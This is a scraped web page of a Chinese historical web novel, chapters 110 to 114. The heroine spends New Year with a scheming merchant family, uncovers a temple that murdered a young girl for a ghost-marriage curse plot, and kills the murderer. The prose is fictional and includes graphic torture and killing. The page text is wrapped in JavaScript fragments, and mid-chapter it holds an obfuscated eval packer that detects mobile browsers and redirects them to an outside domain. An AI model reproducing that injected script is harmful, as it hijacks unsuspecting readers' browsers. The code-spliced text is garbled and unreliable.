$(''#content'').append('' 子厉声呵斥。 关万海扭头看向他:“父亲,星儿累了,先让她回屋吧。” 而后不顾关老爷子的阻拦,直接把晏逐星送出了正厅。 他看着晏逐星,露出了一抹讪讪的笑:“星儿,爹爹跟你保证,肯定不会让人影响你过年。” “你不是我爹,也不要这么叫我。”晏逐星演戏都懒得演了。 “你和定远侯有什么交易我不管,我只想舒舒服服地过年。管好你的家里人,别来招惹我。” 听到她这话,关万海愈发确定了自己的猜测,她什么都知道! 他赶忙改口:“是,大小姐,我都记住了。” 晏逐星大步流星地回了自己住的厢房。 路上,双鲤忍不住就吐槽起了关老爷子。 “我的天呐,奴婢从未见过如此厚颜无耻之人。您才刚认回来,不关心您这个孙女就算了,竟然还想着让您给关家小少爷铺路。” “我呸,他也配?” 晏逐星弯了弯眉眼,双鲤这话可说到她心坎上了。 关老爷子,确实脸大如盆。 “好了,少说两句,咱们明日去外边逛逛,我还是头一回来通州呢。到时候咱们看看什么东西适合送人,买些回京。”晏逐星转移了话题。 “好呀好呀。”双鲤忙不迭点头。 她最喜欢陪小姐逛街了! * 送走了晏逐星,关万海踌躇片刻,还是硬着头皮折回正厅打算跟父亲摊牌。 没想到一只脚刚跨过门槛,一个粗瓷茶盏就砸到了他脚边。 飞溅的瓷片和滚烫的茶水吓得他猛地一缩。 关老爷子恨铁不成钢地训斥道:“她是侯府嫡女又如何?她更是你的种。老子活了这把岁数,没见过当爹的要怕自家的女儿的。” “父亲,您不懂。”关万海抹掉额头上的汗珠,将事情一五一十地说了出来。 关老爷子万万没想到儿子胆子竟然这么大。 “你……” 他一时间竟然不知道该说什么才好。 “父亲,没办法呀,知州夫人逼得太紧了,我也是为了咱家布行啊。”关万海说到伤心处,抹起了眼泪。 “行了,我知道了。”关老爷子脸一阵青一阵红。 他先前竟然在那丫头面前装了大尾巴狼。 真是丢人现眼! 但很快他就缓过来了,沉声吩咐:“既然她现在明面上不能拆穿你是假的,那就趁着过年这些时日,多领着她去走动走动,让人知晓咱们家与定远侯府的关系。” 商人逐利,放着眼前这么好的机会不利用,日后可就用不上了。 关万海一怔,而后点了点头。 “高!爹您这招实在是高!姜还是老的辣,儿子怎么就没转过这个弯来呢。攀上侯府这棵大树,咱们家的生意日后就不用愁了。” 父子俩相视一笑。 他们二人的谋算晏逐星自是不知。 她正琢磨着明日除夕去买些什么东西,还有京城那边情况如何了。 阮寄薇和九栀,可曾按照她的吩咐办事。 她躺在床上,脑海里胡思乱想了起来。 要是能有一个千里传音的东西就好,她就算不在京城,也能瞧见他们在做什么。 想着想着,她便迷迷糊糊地睡着了。 而后,她做了一个奇怪的梦。 第110章 奇怪的梦境 梦里一片漆黑,晏逐星感觉自己什么都看不清,耳旁传来一阵阵义愤填膺的怒吼。 “砸了它!就是这妖石作祟!” “这就是祸根,毁了它村子才能安生!” “神婆说了,必须祭天!砸碎!” …… 晏逐星下意识地朝着声音的方向走去。 终于,眼前透出了一丝亮光。 那不是日光,而是无数高高举起的锄头、铁锤反射出的寒光。 她终于看清了眼前的场景。 一群村民们高举着锄头、铁锤,围绕着一块落在半山腰上的巨石。 巨石孤零零地立在那里。 这时,一个穿着粗布衣裳的少女,像一支离弦的箭,不顾一切地从人群的缝隙里冲了出去。 她猛地扑向那块冰冷的巨石,想要用瘦小的身躯挡住那块巨石。 她用嘶哑的声音大喊:“住手!它不是祸根!它是……” 后面的话被巨大的喧闹和尖利的咒骂彻底盖过,晏逐星耳朵里像是堵了一层棉花,根本听不清少女的声音。 紧接着,视角猛地拉近。 这一刻,她变成了扑在石头上的少女。 晏逐星感觉自己的脑袋像是被什么东西砸中了,温热的血立刻涌了出来。 一滴、两滴、三滴…… 鲜红的血珠从她脑袋落下,渗进了那块巨石裂开的缝隙中。 就在血珠消失的瞬间。 “嗡”一声响。 一股无法形容的庞大力量,从石头内部猛然爆发。 梦里的画面开始剧烈摇晃、破碎。 晏逐星感觉自己的身体被那股看不见的力量狠狠推开,整个人直接飞到了半空中。 强烈的失重感让她感觉头晕目眩,只看到了先前聚在一起的村民们扔掉了手中的东西,尖叫着四下跑开。 …… “小姐,小姐?” 双鲤的声音在耳旁响起,晏逐星缓缓睁开了眼睛。 “小姐,该用早膳了。”双鲤讨喜的小脸蛋出现在了眼前。 晏逐星点了点头,脑子里乱糟糟的。 那个梦没头没尾的,真奇怪。 难不成这是她这辈子头一回离开侯府过夜,不习惯,所以才会梦到这些东西? 她没想太多,将梦境抛之脑后,起身更衣准备和关家人一块用早膳。 进到屋子里,不知道是不是被她气着了,今日关老爷子没出现。 关曜也不在,餐桌上只有关万海夫妇。 晏逐星刚坐下,就有个丫鬟进来点了一炷香,随后悄声退了出去。 她再一次闻到了昨日那股奇异的香味。 她皱了皱眉,询问道:“这是什么香?” “这是定慈观的无忧散,很难买的。老爷子心疼你,特意将这香送来。你若喜欢,明日咱们全家一块陪你去买些。”关万海笑着回答。 杨氏欲言又止。 这无忧散的价格是普通香的上百倍,若不是老爷子非要买,她才不愿意花这个银子。 如今领了晏逐星回家,没收到侯府的赏银就算了,还得在她身上花钱,她不太乐意。 “明日大年初一,去定慈观上香的人数不胜数,咱们还是等过些日子再去吧。”杨氏打了个马虎眼。 等过几日,说不定晏逐星就走了,没必要花这个钱。 关万海瞪了妻子一眼。 他要的就是上香的人多,不多怎么拉着晏逐星出门炫耀,怎么显摆他们与侯府的关系。 昨日和父亲谋划完之后,他就琢磨着该怎么让晏逐星跟他一块出门,毕竟她不是个好相与的,未必会听他的话。 所以,他便拿了这无忧散来吸引她的注意。 关万海笑呵呵地开口:“人多才热闹,而且父亲房里的无忧散快用完了,也该买新的续上了。” 生怕晏逐星不愿意去,关万海再次补充道: “这定慈观很灵验的,很多人去了都说好。还有这无忧散,闻了之后能让人忘记烦忧,凝神静气,引得无数人趋之若鹜。” “而且这香可不是说你想买就能买的,还得你与道长有缘,才能买。” “原本老太太去世后,定慈观的道长不愿意再卖给我们家,但见老爷子一片诚心,最后才卖给咱们。” 晏逐星被他这番话勾起了兴趣,还真想去这定慈观看一看了。 “嗯,明日看看去吧。” 见她答应,关万海笑得嘴角都要咧到后脑门了。 杨氏反对无效,只得讪讪笑着应下了。 用过了早膳,管家来请关万海。 “老爷,供品都准备好了,吉时已到,该祭拜先祖了。” 关万海点了点头:“大小姐可要与我们同去?” 晏逐星有些好奇普通人家是怎么过年的,便点了点头,跟着一块去了。 走到院中,她这才注意到庭院廊下已经挂上了红灯笼,窗户上也贴满了“福”、“碌”、“寿”、“喜”字样的剪纸。 回廊下,仆妇们穿梭往来,手中端着冒着热气的糕饼,上边还贴了红纸,整个院子里一派喜气洋洋的模样。 到了祭祖的祠堂,晏逐星一眼便瞧见了乌木供桌上的供品:油亮的猪头、昂首的公鸡还有一条大鲤鱼。 五色糕点叠如小山,一册崭新的账簿与一柄油亮的算盘放在了最前边。 这时,关家老爷子也牵着关曜来了。 关万海捧起三炷粗大的线香,让下人点燃后,交给了关老爷子。 关老爷子接过香,眉眼肃穆,声音洪亮:“不肖子孙关山,率阖家老小叩谢祖宗荫庇。望祖宗佑我关氏门庭,老幼康宁,人丁兴旺,财源广进,基业永固!” 他说完之后,关家人都举着香虔诚叩拜。 晏逐星没有跟他们一块祭拜,先前关万海点香时,她就退出了祠堂。 屋外的冷风一吹,晏逐星反倒觉得舒爽了几分。 屋内的檀香实在闷得很。 她将一旁垂手站立的关家叫了过来。 “祭祖之后,要做什么?” 得知接下来整个关家上下都是要专心准备年夜饭,她顿时觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739244|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得无聊。 她扭头看向双鲤:“走,咱们瞧瞧外头的热闹去。昨日说好了,带你逛街的。” “好呀好呀。”双鲤高兴地应下。 “四小姐,不可。”关家给晏逐星准备的丫鬟正想阻止她出门,就被管家拦住了。 这可是京城来的大小姐,老爷说了,她想做什么就做什么,别管太多,省得触怒了贵人。 老爷都不敢管她,他们这些做下人的就更得夹紧尾巴做人了。 晏逐星领着双鲤出门,去了通州最热闹的一条街。 刚下马车,喧闹的声音扑面而来,紧接着便是炒瓜子、炸麻花、熬饴糖混合在一起的甜香钻入了鼻腔之中。 双鲤咽了咽口水。 晏逐星笑着刮了刮她的鼻尖,给了她一串铜钱。 “去买些麻花来吧。” “好咧。”双鲤身子灵活地穿过了人群,去到了卖麻花的小摊前。 晏逐星四下打量,瞧见长街两旁的铺子檐下都密密麻麻地悬挂着红灯笼,映得来来往往的人脸上都染了一抹桃红色。 各式各样的年货摊子占满了整条街道,卖门神、年画的摊子前更是被围得水泄不通。 一旁挑着担子的货郎正起劲地吆喝着: “风车转一转,时来又运转!” “泥哨吹一吹,富贵身后追!” “戴朵红绒花,享尽富贵和荣华。” 这时,一对年轻夫妇领着个约莫五六岁的姑娘路过摊前。 小姑娘一眼就被那扎在竹架最高处,迎着风骨碌碌转得最欢的彩纸风车吸引住了。 她立刻抬手指向那个风车,声音又脆又亮:“爹!娘!我想要那个!” 那父亲穿着半新不旧的棉袍,看着家境并不富裕。 他眉头微蹙,瞧了眼风车,又掂量了下手里沉甸甸的米面油盐,摇头道:“不过几张纸糊的玩意儿,风大点就吹散架了,不值当花这钱。” 母亲也弯下腰,温言哄着:“宝儿乖,咱们买点实在的,你看那糖葫芦,甜滋滋的,买了给你甜甜嘴可好?” 她指了指旁边插着糖葫芦的草靶子,试图转移女儿的注意力。 货郎见状赶忙笑着拿那风车,故意在小姑娘面前晃了晃,彩色的纸轮呼呼转起来:“小姑娘真是好眼力。这可是我做得最费心的‘顺风轮’,你去别的地方,那是绝对买不到的。” 而后又怂恿起那对夫妻。 “老爷夫人买一个吧。风车转起随风飞,好运连连紧相随!买一个回家给孩子,保管来年你们万事顺遂。” 许是囊中羞涩,尽管货郎把好话说了个遍,却依旧没能打动那对年轻的夫妇。 “走吧,太贵了。”当父亲的还是舍不得。 毕竟五文钱都能买两个肉包子吃了,买个那么容易坏的玩具,实在划不来。 小姑娘“哇”一声就要哭,可是看到母亲紧锁的眉头,最终又将眼泪憋了回去,扁了扁嘴,看向货郎。 “谢谢叔叔,我们不要了。” “我要了。” 第111章 晏逐星怀疑 晏逐星的话和小姑娘的同时说了出来。 货郎笑呵呵地收下晏逐星递来的铜板,将风车给了她。 小姑娘一脸羡慕地看着晏逐星,而后依依不舍地被爹娘拽走了。 晏逐星快步走了上去,将风车塞到了她手里。 “送你了。” “真的吗?”小姑娘眼里瞬间迸发出不可置信的惊喜。 “这可使不得!”她爹娘瞬间摆手拒绝,想要把风车还给晏逐星。 “没关系,她长得很可爱,我瞧见她便心生欢喜,这风车送她了。”晏逐星笑着示意他们收下。 “爹,娘……”小姑娘哀求着看向父母。 最终还是当爹的败下阵来。 他有些不好意思,摸了摸女儿的脑袋:“还不给人家道谢?” 小姑娘立刻露出了笑脸,甜甜道:“多谢仙女姐姐,祝你好运连连紧相随,来年万事都顺遂!” 她将先前货郎说的吉祥话抄了过来,逗得她爹娘忍不住笑出了声。 晏逐星也跟着笑了。 “谢谢贵人。” “祝您来年万事如意。” 小姑娘的爹娘扯着她再三跟晏逐星道谢后,方才离开。 看着离去的一家三口,晏逐星裹紧了银狐斗篷,眉眼不自觉地弯了弯。 这是她从未体验过的生活,看着就让人莫名感觉很幸福。 幸福过后,遗憾又涌上了心头。 如果她没被温如霜抱走,她或许也会扯着爹娘的手,撒娇央求他们给自己买风车吧。 可她如今却依旧什么都想不起来。 爹娘的模样,家里有什么人,她原本的名字,还是什么都不记得…… 晏逐星垂眸,隐去眼里的失望与落寞。 “小姐,麻花买回来了!您快尝尝,可香啦。周围的大叔大婶都说他们家的麻花好吃,全通州最好吃的麻花就在这啦。”双鲤捧着新鲜出炉的炸麻花跑了回来,眼睛亮晶晶的,满是期待。 晏逐星抬起头,脸上已经只剩了笑意。 她尝了一块麻花。 “怎么样?真的有那么好吃吗?”双鲤一边问一边咽口水。 “你自己尝尝不就知道了。”晏逐星笑眯眯地将剩下的麻花都赏给了双鲤。 双鲤欢快道谢后便大口往嘴里塞了一截麻花,而后含糊不清地夸赞道:“啊,他们真的没骗我诶,真好吃!” 晏逐星领着双鲤在街上逛了一圈,买了些没见过的小玩意,这才回了关家。 关家的年夜饭比不得侯府丰盛,但也鸡鸭鱼肉样样俱全,几乎是将家中所有好东西端了上来。 就怕被晏逐星嫌弃。 晏逐星用过年夜饭后,没有收关家人给的压岁钱,也没有跟他们一块守岁,就回了自己的屋子。 她原以为离开了侯府这个年会过得很开心,但她发现实际上也就那样吧。 关家人并不是她真正的亲人,他们对她也只是算计与利用,她在这过年,并没有任何的欢喜。 或许,只有回家才能让她真正地感到开心吧。 不知道,她的家人是否也在找她。 * 大年初一,晏逐星醒来后,关万海已经命人备好了马车。 草草用过早饭后,晏逐星便随着他们一块去了定慈观。 刚到山脚下,就看到了一条长龙,远远望去,至少有上百人。 掀开车帘,她只能隐约瞧见定慈观的大门,牌匾是压根看不清的。 “这么多人啊?”双鲤张大了嘴,十分惊讶。 这热闹的场景,堪比京城玄空寺了。 “咱们来得算早了,再晚,人更多。”关万海解释了起来。 听到这话,晏逐星也有些惊讶。 这定慈观到底有什么特别的,竟然引得那么多人趋之若鹜。 “那咱们得排到什么时候?”她忍不住发问。 “放心,不会太久,因为明妄道长不是谁都见的,有些只是收下东西,将无忧散给他们,让他们上一炷香就离开了。”关万海赶忙解释。 “而且,我早就派人来排队了,人就在前头,就是咱们得走过去,马车不方便。” 他说完后,忐忑地看着晏逐星,生怕她嫌累嫌麻烦掉头就走。 “既是如此,那咱们看看去吧。”晏逐星领着双鲤下了马车。 关万海长长地舒了一口气,腆着笑脸将她往前带。 路上碰见不少从前打过交道的老板,人家都当没瞧见他,他却浑不在意,乐呵呵地主动招呼: “佟老板,过年好呀,你们也来上香啊?” “这是我走丢的小女儿关星,现在是定远侯府大小姐,承蒙侯爷开恩,我们父女得以团聚,所以呀我特意领她来上香,感谢道长替我指点迷津,寻回女儿。” 听到晏逐星是定远侯府的大小姐,几位商人脸色微微变了。 等到后来看到关万海跟知州夫人的弟弟打招呼,人家也搭理了他,双方都带着笑容,像是从未有过什么过节。 众人便知道那件事已经过去了,于是也热络地回应起了关万海的打招呼。 “哎哟哟,关老板,好久不见,过几日到我家喝茶呀。” “好说好说。” 晏逐星看出来他在利用她的身份,没多说什么。 这个时候还不是拆穿的时候,若她当面揭穿,事情传到定远侯那边,她再想除掉定远侯,就得再费一些功夫了。 不过她的名头可不是白借的。 她瞥了关万海一眼,等回去,她就找他要利息。 关万海假装没看到晏逐星的死亡凝视,继续跟人打招呼。 终于到了关家人排好的位置,还有两个人家,就到他们了。 “咳。” 晏逐星咳嗽了一声,关万海瞬间收起了和旁人攀谈的心思,老实守在她旁边等着她的吩咐。 跟来的关曜扯着母亲的袖子,小声道:“爹爹怎么那么怕四姐呀?” 杨氏赶忙捂住他的嘴,生怕他说的话惹恼了晏逐星。 昨夜守岁时,夫君跟她说了晏逐星威胁他的那番话。 她总算明白了,这位看似天真无知的侯府小姐,实际上深藏不漏,惹不得。 “别胡说,你四姐有什么可怕的。哦不,你别叫她四姐,她还没彻底认祖归宗,你叫她大小姐就行。”杨氏赶忙纠正儿子的话。 从前还想摆一摆亲生母亲的架子,现在她只希望晏逐星别盯着她。 “为什么呀?”关曜不解。 “没为什么,你照做就是了。”杨氏捂住了儿子的嘴。 晏逐星听到了母子俩的对话,没搭理他们。 “至清道长好。”眼看轮到自己,关万海忙向迎客的道士行礼。 门口法号至清的小道含笑指引:“这位善信,请这边上香。” 见对方要把他们引去普通香客处,关万海急了,连忙亮出晏逐星身份:“这是我女儿,如今是定远侯府的大小姐!不知可否通禀明妄道长一声,让我们求一份无忧散?” 至清眼神微动,笑容不变:“家师见人,只讲缘分,与身份无关。” 关万海脸上的笑容顿时僵住。 不料至清话锋一转:“倒是这位姑娘,与我颇有眼缘。待我通传一声,为姑娘引荐。” “多谢道长!多谢道长!”关万海如蒙大赦,连声道谢。 晏逐星对他们口中的“明妄道长”多了几分好奇。 至清转身进了后院,关万海一行人站在门外等候。 没一会儿,至清出来了,看向了晏逐星:“善信,家师说今日与你无缘,不能见你了。” “哦?”晏逐星还以为这位明妄道长是那种攀附权贵之人,这么看,也不像嘛。 “不过无忧散已经备好,还请几位善信到一旁上香。”至清将他们指引到了殿侧的神像前。 怕她发脾气,关万海赶忙道:“这个,额,明妄道长他比较随性,想见人就见人,不想见就不见,你也别太放在心上。” 晏逐星点了点头,没有多说什么。 她现在对那个无忧散比较好奇。 那个东西真的点燃之后能让人忘记一切烦忧么,怎么她闻着却不觉得。 带着疑惑上完了香,晏逐星目光扫过院角,一个落在地上的彩色大风车撞入眼帘,她眉头不由一蹙。 那不是昨日她买了送那小姑娘的风车么,怎么会出现在这里。 她快步走了过去,俯身捡起。 至清快步追了过来。 “这东西我认识,它的主人呢?” 至清脸上闪过一抹慌乱,而后又变回了一开始笑容满面的模样。 “小姑娘得了家师的眼缘,留在道观侍奉家师呢。” “可还有其他人跟她一起侍奉明妄道长?”晏逐星询问。 “得家师青眼者寥寥无几,能留下是她的福分。”至清笑容不变,话锋却带了刺,“况且她家中也是情愿的。善信何必多问?” 这话听着有些蹊跷。 晏逐星心中疑窦丛生。 这定慈观分明是清修之地,为何独独留个小姑娘“侍奉”? “我要见她。”晏逐星语气带着几分不容拒绝的强势。 小姑娘那么喜欢这个风车,才一夜,怎么可能就舍得丢掉。 此事定有蹊跷。 至清见她这么执着,想到她的身份,又不敢拒绝得太过,只得堆起笑脸:“善信稍等,我这就去请示家师。” “嗯,今日我一定要见她。”晏逐星再次强调。 至清转身的动作更快了,飞奔跑向了后院。 明妄道长听完他的话,不耐烦道:“啧,她要见就见吧。不过一个乡野丫头,竟然与定远侯府大小姐相识。横竖她什么也不知道。” 原先他听到定远侯府大小姐,还以为是定远侯那边查到了什么,知道是他打碎了晏明修的魂魄,因而不想见晏逐星。 可没想到晏逐星这么难缠。 他决定让徒弟早点将她打发走。 “是。”听了他这话,至清便重新去见了晏逐星。 “善信随我来吧,小姑娘如今正在后院打坐呢。”至清挤出了一抹笑。 两人去到了小姑娘所在的屋子,没想到,里边竟然空空如也。 压根不见她的踪影。 第112章 晏逐星杀人 “人呢?”晏逐星扭头看向身旁的至清,眼神瞬间变得凌厉。 “许是孩子贪玩,去了别处。我这就去找她。烦请善信留在此处等候。”至清面色微变,将晏逐星留下,匆匆离开。 “你在这等我,我且看看去。”晏逐星总感觉至清没说实话,这定慈观背后肯定藏了什么大秘密。 “若半个时辰后我没回来,你就让关万海闹大。” 嘱咐好双鲤留在这里等她,她悄悄跟上了至清。 眼看至清左拐右拐,竟然拐到了后山一个偏僻的院落。 那院落外边瞧着破破烂烂,但至清推门而入后,里边的景象却让晏逐星大吃一惊。 屋内装饰富丽堂皇,比起京城里的那些勋贵侯爵的宅院都不逊色。 看来这破道观暗地里可捞了不少钱啊。 “明真师叔,明真师叔。”至清喊了两句。 屋里里一个衣衫不整的男人醉醺醺地走了出来。 “至清啊,你来我这作甚?” 至清着急地问:“你可曾见着今日被师父留下的那个小丫头?” 明真脸色微变,身上的醉意瞬间退去,他含糊道:“反正那丫头都得死,你打听她做什么?” 躲在院中偷听的晏逐星整个人身子都绷紧了。 都得死? 什么意思。 “那也不能现在就死了,贵人那边不是年后才要么。”至清看他闪躲的眼神,心里浮起了不妙的预感。 “你究竟把人弄到哪里去了。” “我喝了些酒,把那小姑娘当成……&*%……” 明真含糊地嘟囔了几句,晏逐星没听清。 至清却是一副天都塌了的表情。 “你,你疯了吧,现在该怎么跟贵人交代!” “现在是冬日,尸身用冰棺装着,坏不了,能拖到年后的。”明真狡辩。 “你!你等着,我去请师父裁夺。”至清急匆匆地离开了。 尸身? 晏逐星下意识地攥紧了手掌。 他们说的不会是那个小姑娘吧。 贵人? 他们到底在给谁办事。 这背后究竟藏着什么阴谋。 听到至清要去找明妄道长,明真似乎有些慌张,正厅的门都没关就往房间急匆匆地走去了。 晏逐星想了想,还是悄无声息地跟了上去。 她原本不想多管闲事。 但她想起了小时候的自己。 如果当时能有人像她现在这样多管闲事,或许她就不会被温如霜带走了。 晏逐星尾随明真回到屋内。 她一眼就看到了地上横陈着的一小团影子,目光上移,穿过明真的身侧,露出了她看到了昨日才见过的那张脸。 小姑娘蜷缩在地上,脖颈上是一圈狰狞的红色淤痕,在青白色的尸首上显得格外刺眼。 “啧,真是麻烦。”明真踢了踢脚边的尸首,语气里满是厌烦。 晏逐星只觉得心口那块地方空落落的,像是被人猝不及防地掏了一把。 昨日分别的场景清晰地浮现在眼前。 小姑娘脸颊上带着两团稚气的红晕,拿着大风车爱不释手地对她道谢。 不过一夜的光景。 那个鲜活的小姑娘就变成了一具冰冷的、毫无生气的尸体。 她甚至连她叫什么,今年几岁都不知道。 她就这样死在了她面前。 “是你杀了她?”晏逐星轻声开口。 “谁?” 忽然出现的声音把明真吓了一跳。 他一脸惊恐地回过头,发现来人不过是一个年约十四五的小姑娘。 他又放心了。 “与你何干。”他不以为意地看着晏逐星。 “这不是你该来的地方。滚出去,不然别怪我不客气。” 他以为晏逐星是不小心闯进来的香客,打算待会去明妄那里要一下名册,威胁一二就好。 这种事情,他驾轻就熟。 然而,他低估了眼前的人。 “是么,你想怎么不客气?”晏逐星冷笑一声。 话音未落,匕首已从怀中翻出,寒光一闪,她整个人如离弦之箭,猛地朝对方扑去。 近身的那一刻,她扣住明真手腕,狠狠按在桌上。 右手的匕首毫不留情地刺下,刀刃瞬间贯穿明真左手掌心,将他死死钉在了桌面上。 “啊!”明真浑身剧烈颤抖,发出了一阵惨叫。 “接下来,我问,你答。”晏逐星对他的惨叫声充耳不闻。 她抬手迅速从发髻间抽出了一支簪子。 那簪子通体玄黑,有些分量,顶端缀着一颗圆润的珍珠。 没等明真反应过来,那支簪子就狠狠地扎穿了他的右手掌,将他彻底钉在了桌上。 “啊啊啊——!”明真发出了更凄惨的叫声。 晏逐星的脸色依旧一片淡定。 这是她无聊在家用箭矢改造的簪子。 她退后一步,将腰间的软剑解了下来,直指明真胯下三寸的地方。 明真瞬间夹紧了腿:??? 谁家好人身上带那么多兵器啊。 她一字一句道:“现在,可以回答我的问题了吗?” “女侠饶命啊,你问什么我都说。”明真眼珠子滴溜溜地转了起来。 他自知打不过眼前的少女,干脆假意配合。 反正至清去找明妄师兄了,不一会儿他们就会来了,到时候他要狠狠折辱这个小娘们。 “你们说的贵人是谁?为什么要杀了这孩子?你们定慈观干的都是什么勾当。”晏逐星没有跟他废话。 “你要是不说实话,你就别当道士了,改行当太监吧。” “我说,我都说。”明真咬牙切齿地回答,将杀意藏回了心底。 说就说,反正待会明妄师兄来了,这小娘们也得死。 “是昭瑞亲王府的贵人让我们干的!” “那个,你听说过昭瑞亲王府和定远侯府的恩怨吗?” 明真忍着剧痛试探。 晏逐星没想到来到了通州,竟然还能和昭瑞亲王府扯上关系。 “别废话,说重点。”晏逐星手微微一沉,他的胳膊上多了一道血痕。 明真额角沁出细密的冷汗,哪里还敢废话,赶紧把所有的事情说了出来。 “昭瑞亲王府那位谢世孙横死后,老王爷又中了风,那位郡王便发了疯似地想报复定远侯府。后来明妄师兄就被请去了,师兄替王府毁了定远侯府二少爷的魂魄。” “但郡王不满足,还想继续报复侯府。于是明妄师兄就给他们出了一个主意……” 说到此处,明真斜睨了地上小姑娘的尸首一眼,声音渐渐变低。 “说是要找一个八字纯阴、未破身的女童与谢世孙配骨合葬。如此这般,不仅可以镇住谢世孙的怨煞之气,还可以借此炼化两人的魂魄,搅得定远侯府家破人亡。” “所以你就把她杀了?”晏逐星眼神瞬间变得冰冷。 “我也是听命行事,女侠饶命……”明真感觉自己身子在渐渐变冷。 至清那个蠢东西,怎么还没把师兄带来呀。 晏逐星手腕一抖,软剑倏地缠上明真的脖颈。 环住。 见血封喉。 明真的求饶声还卡在喉咙里,就已经没了气息。 “晏大小姐,你杀人了。” 身后忽然传来了一个耳熟的声音。 她僵硬地转身回过头去,看到了一个不可能出现在这里的人。 第113章 杀人被发现 是裴明镜。 他身后还跟着护卫,还有明妄师徒。 “是啊,裴大人,如你所见,我杀了他。”晏逐星轻笑一声,慢条斯理地将剑上的血擦掉。 而后又慢悠悠地把插在明真掌心的匕首和簪子收了回来,丝毫没有杀人被抓到的恐惧与惊慌。 反倒是明妄和至清二人脸色大变。 “裴大人,此事,您得给我师弟一个交代。”明妄一脸严肃地看向了裴明镜。 “您可不能因为这位善信来自定远侯府,您就包庇她。杀人偿命,天经地义。” 晏逐星没有回应明妄的话,只是将自己的斗篷摘下,俯身将地上已经变得冷硬的小姑娘裹了起来。 原本她计划着的是先离开现场,之后再带人来给小姑娘收尸。 现在走不掉,那就现在就把孩子带走吧。 这么冷的天,孤零零地躺在这里,家里人看到了不知道得多伤心。 “裴大人,烦请您把小姑娘的家里人找来。”晏逐星无视了明妄。 “嗯。”裴明镜点了点头,看向明妄和至清。 “这小姑娘姓甚名谁,家住何方,为何会出现在你们道观?” 明妄铁青着脸不说话。 至清只得硬着头皮开口:“这是总铺镇小河村唐善信家的孩子,名叫唐果。年方五岁,与家师有缘,因而家里人主动让她留下来随我等修行。” “我也不知道她为什么会出现在明真师叔的屋子里,还成了如今的模样。” 裴明镜微一颔首:“劳烦二位道长随护卫至偏室稍候,本官稍后再来问话。” “那明真师弟的尸首……”明妄看向了被一剑封喉的明真,又看了一眼晏逐星,心里有些发毛。 他会的不过是装神弄鬼的把戏罢了。 若是晏逐星也给他来上一剑,他恐怕也活不成了。 还是离这个女煞神远些为妙。 “待本官查清后,你们可以派人来替他收殓。”裴明镜语气淡淡。 听到他这么说,明妄和至清这才在护卫的引领下走向另一间屋子。 晏逐星以为裴明镜将他们遣走后,就会对她开始审问,没想到他竟然又看向了另一个护卫。 “子平,先前道长说的地址你记住了吧?” 见他点头,裴明镜又道:“你拿我令牌,去请通州知州来定慈观协助我调查命案,而后去将唐果的家人请来。” “是。” 护卫应下,快步离开。 裴明镜终于看向了晏逐星。 “晏大小姐,可有什么要辩解?” “我说了,裴大人就会信?”晏逐星挑眉一笑。 裴明镜神色淡定:“信不信,要看你有没有撒谎,有没有证据。若你有意杀人,本官自然不会放过你;若你被污蔑,本官自然也不会让你蒙受不白之冤。” “我还以为裴大人已经在心里给我定罪了,毕竟在裴大人眼里,我可不是什么好人。”晏逐星依旧是笑眯眯的模样,没有半点害怕。 “办案,是要讲证据的。”裴明镜目光灼灼,盯着她没有移开。 “现在,没有旁人在,你可以说实话了么?” “没问题。”晏逐星爽快点头,把整件事情的来龙去脉都说了一遍,没有半句隐瞒。 “所以你是说,他们留下唐果,是因为唐果八字纯阴,他们要让她给谢锦程陪葬?从而报复定远侯府?”裴明镜眉心一拧。 晏逐星点了点头,指着地上明真的尸体道:“他是这么告诉我的。” “可如今明真已经死了,你有别的证据么?”裴明镜再次询问。 “没有。”晏逐星摇了摇头。 裴明镜一愣,他还以为她这么淡定,是因为留有后手,结果什么也没有? “那你不害怕?”他忍不住脱口而出。 “不怕,因为裴大人您来了呀。”晏逐星的笑容比先前灿烂了几分。 “找证据的事情,就交给您了。我相信您的断案能力。您是绝对不会放过一个坏人,也不会污蔑一个好人的。” 晏逐星的话,像一滴浓墨坠入裴明镜的心湖,无声晕开。 她……竟信他? 隐去心下的惊讶,裴明镜淡淡道:“不管你怎么说,若是没有证据,那你就是杀害明真的凶手。你可知道会有什么后果?” “知道呀。”晏逐星点了点头。 “根据《大虞律令》诸谋杀人者,徒三年;已伤者,绞;已杀者,斩。” 裴明镜心下惊讶更浓。 “你竟然将《大虞律令》都背了下来?” 晏逐星眼里闪过一抹狡黠的笑。 她要干的可是杀人放火的事,当然要提前熟读律法,必要时候可以脱罪。 她才不相信请来的讼师会替她真心辩护,要辩护时,自己上才是最靠谱的。 “是。那会儿腿受伤了不能走动,闲着无聊,背着玩。”晏逐星露出了一副乖巧的笑。 “晏大小姐当真是多才多艺,不仅背得了律法,还会舞刀弄剑。”裴明镜眼里浮起淡淡的笑。 晏逐星拱手:“一般一般啦,还是比不得裴大人聪慧过人,断案如神。” “不知大小姐箭射得如何?”冷不丁,裴明镜忽然又开口。 “略懂一二。”晏逐星没有惊慌。 “我学东西,不过是为了能过得更好一点。什么都会一点,父亲就会觉得我有用一点。” “你不必在我面前扮可怜。”裴明镜收起了笑。 “你这样的性子,断然不会让自己受欺负的。” “从前对你母亲还有妹妹的那些忍让,都你是在演戏吧?” 晏逐星一愣,而后笑出了声,像是听到了什么天大的笑话。 她的笑声越来越大,笑得直到眼泪都掉了下来。 她为了获得那些微薄亲情受的委屈,或许在定远侯一家人的眼里,也和裴明镜一个想法,都觉得是她在演戏吧。 如今想来,真是可笑。 “嗯,你说得对。我都是在演戏。所以从今往后,我不会再演,我就是要痛痛快快地活一回。”晏逐星擦掉了眼泪,将怀里的匕首奋力一掷,直接插到了明真的下腹处。 裴明镜身子一震。 他没想到,晏逐星竟然敢当着他的面对一具尸体动手。 第114章 晏明远死了 “一个能对无辜稚童下手的卑鄙无耻的畜生,我自然要杀了他。”晏逐星眉目里满是戾气。 想到唐果小小尸体上的那些伤痕,裴明镜难得没有反驳她。 